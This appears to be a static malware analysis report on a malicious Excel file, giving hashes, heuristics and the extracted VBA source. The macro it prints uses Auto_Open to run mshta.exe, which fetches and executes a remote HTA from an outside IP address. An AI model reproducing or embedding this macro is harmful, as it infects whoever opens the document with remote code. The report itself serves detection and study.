Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0d582b8994663f16…

MALICIOUS

Office (OOXML)

11.7 KB Created: 2021-05-27 10:25:07 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-29
MD5: 55ff30830f6dad98256495134e284235 SHA-1: 11dc22a7ddc00a0bee680567f68a707c2cd26ee1 SHA-256: 0d582b8994663f163a5d705f718370738942c720955b85ae7edbaaca79d19fa6
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing a VBA macro that executes automatically upon opening. The macro uses the Shell() function to launch mshta.exe, which in turn downloads and executes a remote HTA file from the URL http://10.10.106.233:8080/Zr5RMSJC3S5.hta. This indicates a downloader or initial access pattern.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Sub Timesheet()
        PID = Shell("mshta.exe http://10.10.106.233:8080/Zr5RMSJC3S5.hta")
    End Sub
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Sub Timesheet()
        PID = Shell("mshta.exe http://10.10.106.233:8080/Zr5RMSJC3S5.hta")
    End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Timesheet
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://10.10.106.233:8080/Zr5RMSJC3S5.hta In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 779 bytes
SHA-256: 009c124d6f64b27bc61b9c74a39d86d5495612e84313842c59479b9ab291f727
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Timesheet()
    PID = Shell("mshta.exe http://10.10.106.233:8080/Zr5RMSJC3S5.hta")
End Sub

Sub Auto_Open()
    Timesheet
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17920 bytes
SHA-256: d254e891b076583d28b04df6a3febd4928b36ab4e36459a86f97bd2123b394fd